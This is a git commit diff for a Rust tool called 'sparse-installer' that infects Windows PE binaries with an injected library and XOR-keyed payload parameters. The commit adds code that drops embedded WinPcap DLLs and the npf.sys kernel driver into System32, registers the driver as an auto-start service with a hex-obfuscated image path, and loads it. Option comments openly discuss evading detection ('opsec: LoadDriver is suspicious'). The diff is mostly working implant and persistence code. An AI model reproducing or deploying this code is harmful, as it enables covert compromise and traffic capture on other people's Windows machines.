feat: finished loading winpcap drivers

This commit is contained in:
Andrew Rioux
2025-02-09 14:54:13 -05:00
parent 6780b1595b
commit 3bc9b014f5
10 changed files with 159 additions and 28 deletions

View File

@@ -10,6 +10,19 @@ use structopt::StructOpt;
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_windows_infector::infect_pe_binary;
pub const WPCAP_DLL: &'static [u8] = include_bytes!(concat!(
std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
"/wpcap.dll"
));
pub const PACKET_DLL: &'static [u8] = include_bytes!(concat!(
std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
"/Packet.dll"
));
pub const NPF_SYS: &'static [u8] = include_bytes!(concat!(
std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
"/npf.sys"
));
#[derive(StructOpt, Debug)]
#[structopt(name = "sparse-installer")]
struct Options {
@@ -29,6 +42,14 @@ struct Options {
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
#[structopt(long, default_value = "0")]
delay_seconds_maximum: u8,
/// Automatically install WinPcap. Does not automatically load the driver
#[structopt(long)]
install_winpcap: bool,
/// Automatically load WinPcap after installing it (opsec: LoadDriver is suspicious)
#[structopt(long)]
load_winpcap: bool,
}
fn main() -> Result<(), Error> {
@@ -72,5 +93,96 @@ fn main() -> Result<(), Error> {
infect_pe_binary(opts.binary, opts.library_path, parameters_buffer)?;
if opts.install_winpcap {
#[cfg(target_os = "windows")]
install_winpcap(opts.load_winpcap)?;
}
Ok(())
}
#[cfg(target_os = "windows")]
fn install_winpcap(load_winpcap: bool) -> Result<(), Error> {
use winreg::{enums::*, RegKey, RegValue};
std::fs::write(r"C:\Windows\System32\wpcap.dll", WPCAP_DLL)?;
std::fs::write(r"C:\Windows\System32\Packet.dll", PACKET_DLL)?;
std::fs::write(r"C:\Windows\System32\drivers\npf.sys", NPF_SYS)?;
let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
let services = hklm.open_subkey(r"SYSTEM\CurrentControlSet\Services")?;
let (srv_npf, _) = services.create_subkey("NPF")?;
srv_npf.set_value("DisplayName", &"NetGroup Packet Filter Driver")?;
srv_npf.set_value("ErrorControl", &0x1u32)?;
srv_npf.set_raw_value(
"ImagePath",
&RegValue {
vtype: REG_EXPAND_SZ,
bytes: vec![
0x43, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00,
0x6f, 0x00, 0x77, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00,
0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x64, 0x00,
0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x5c, 0x00,
0x6e, 0x00, 0x70, 0x00, 0x66, 0x00, 0x2e, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00,
0x00, 0x00,
],
},
)?;
srv_npf.set_value("Start", &0x2u32)?;
srv_npf.set_value("TimestampMode", &0x0u32)?;
srv_npf.set_value("Type", &0x1u32)?;
srv_npf.set_value("WOW64", &0x1u32)?;
if load_winpcap {
unsafe {
use windows::Win32::System::Services::{
CreateServiceW, OpenSCManagerW, OpenServiceW, StartServiceW, SC_MANAGER_ALL_ACCESS,
SERVICE_ALL_ACCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
SERVICE_KERNEL_DRIVER, SERVICE_START,
};
use windows_strings::*;
let h_scmanager =
OpenSCManagerW(PCWSTR::null(), PCWSTR::null(), SC_MANAGER_ALL_ACCESS)?;
if h_scmanager.0.is_null() {
eprintln!(
"Could not open connection to service manager: {}",
errno::errno()
);
panic!();
}
let npfsrvc = OpenServiceW(h_scmanager, w!("NPF"), SERVICE_START);
if let Ok(srvc) = npfsrvc {
println!("Service already installed, starting");
println!("(If it fails because it's already running, that's fine, everything has worked)");
StartServiceW(srvc, None)?;
return Ok(());
}
let npfsrvc = CreateServiceW(
h_scmanager,
w!("NPF"),
w!("NetGroup Packet Filter Driver"),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
w!(r"C:\Windows\System32\drivers\npf.sys"),
PCWSTR::null(),
None,
PCWSTR::null(),
PCWSTR::null(),
PCWSTR::null(),
)?;
StartServiceW(npfsrvc, None)?;
}
}
Ok(())
}